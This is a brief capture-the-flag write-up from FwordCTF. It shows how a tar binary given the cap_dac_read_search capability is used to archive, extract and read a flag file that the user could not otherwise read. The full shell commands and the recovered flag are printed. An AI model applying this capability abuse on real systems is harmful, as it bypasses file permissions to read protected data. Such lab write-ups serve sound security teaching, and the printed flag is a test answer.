We ssh into a linux environment and we can see that there is flag.txt in the home directory. However we do not have permissions to read it.
As the name of the challenge implies, this is a challenge about capabilities.
user1@99ac81b17a21:/$ getcap -r /usr/bin
/usr/bin/tar = cap_dac_read_search+ep
We see that tar has cap_dac_read_search+ep capability, which means that it can bypass read permission restrictions. So if we try to compress then decompress the file using tar maybe we can read it then.
user1@99ac81b17a21:/home/user1$ ls
flag.txt
user1@99ac81b17a21:/home/user1$ tar cvf flag.tar flag.txt
flag.txt
user1@99ac81b17a21:/home/user1$ mkdir foo
user1@99ac81b17a21:/home/user1$ cd foo
user1@99ac81b17a21:/home/user1/foo$ tar xvf ../flag.tar
flag.txt
At this point, it still seems like we don't have permissions to read it.
user1@99ac81b17a21:/home/user1/foo$ ls -l
total 4
-rwxr----- 1 user1 user1 55 Aug 29 16:09 flag.txt
However if we try to read it then it magically works.
user1@99ac81b17a21:/home/user1/foo$ cat flag.txt
FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}